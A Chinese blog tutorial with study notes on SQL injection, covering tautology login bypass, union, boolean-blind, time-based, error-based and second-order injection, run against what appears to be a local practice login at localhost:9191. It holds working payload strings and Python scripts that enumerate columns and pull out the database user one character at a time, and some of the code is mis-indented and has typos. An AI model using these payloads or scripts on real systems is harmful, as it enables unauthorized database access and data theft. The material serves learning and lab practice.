SQL注入漏洞

漏洞原理

SQL注入攻击主要是利用程序员在编写数据库查询语句时的疏忽,通过构造恶意的SQL语句,实现对数据库的非法访问和操作。攻击者可以在用户输入的数据中注入恶意的SQL代码,当这些数据被程序用来构建SQL查询语句并执行时恶意代码将被执行,从而绕过身份验证、读取敏感数据、篡改数据库内容等。

预防:过滤,校验前后端数据

流程

步骤

字符型

1.登录需要校验,没有用户和密码,但我们要实现登录。

2.利用sql漏洞,输入恶意sql语句,数据库除了输入用户名密码,还可以在后面输入一个条件,利用or 后面跟一个恒成立的条件。数据库默认在最前面和最后面加'。

where username='liuboss' or '1'=1'

数值型

where username= 1 or 1=1

联合注入

联合注入(有回显),UNION合并两个表格,连接两个sql语句。

123'or'1'='1 order by 2--查看列数通过列数排序

使用脚本

 for i in range(1,10):
    #构造的请求数据
     #data = {"userName":"zs' order by "+ str(i) +" --","password":"23"}
     #通过post方式 发送请求
    data = {"userName": "zs' order by " + str(i) + " --", "password": "23"}
     resp = requests.post('http://localhost:9191/login', data=data)
     print(resp.text)

123'or'1'='1 (union select user from dual)'1' --

select *from user_name where use_name = '123' 
union select(select user from dual)注入查询,'1',1,'1'匹配字段,'1'from dual
 data = {"userName": "zs' union all select user,'1',2,'3','4' from dual --", "password": "23"}
resp = requests.post('http://localhost:9191/login', data=data)
 print(resp.text)

布尔盲注(无回显)

猜长度

select *from user_name where use_name = '123' and length(user) = 7 --

截取字符换成字母

select *from user_name where use_name = '123' and substring(user,1,1) = 7

and sunstr(user,1,1) ='T'--

手动注入太慢采用脚本

使用--‘强行终止数据内容使后面语句失效

str(i)代表位置

 url = 'http://localhost:9191/login'
 num = 0;
 for i in range(2,10):
     data = {"userName":"zs' and length(user) = "+str(i)+" --","password":"23"}
     resp = requests.post(url,data=data)
     d = eval(resp.text)
     if d['mark'] == 'success':
         num = i
         break
 print(num)
 userName = ""
 strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
 for i in range(1,num+1):
     for c in strs:
         data = {"userName": "zs' and substr(user,"+str(i)+",1) = '" +c+ "' --", "password": "23"}
         resp = requests.post(url,data=data)
       d = eval(resp.text)
        if d['mark'] == 'success':
             userName = userName + c
             break
     time.sleep(2)
 print(userName)

eval将字符串转为字典

时间盲注

利用sql响应延迟来判断是否成功

import time
time.sleep
select * from user_info where user_name = 'zs'
union select '1','2',3,'4',(select case when
length(user) = 2 then '2' else to_char(dbms_pipe.receive_message('RDS', 2)) end  from dual
) from dual

报错注入

Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

二阶注入

原理:二阶注入就是无法直接注入,它是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

首先查看靶场中的用户列表,发现存在admin用户密码是admin

接下来注册一个新用户,admin'#,密码是123456,然后进入数据库查看是否注册成功

接下来登录我们新注册的账户,在这个页面可以进行修改密码,把新密码改成666666

神奇的事情发生了,数据库中admin'#的密码并没有被修改,但是admin的密码成功被修改

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值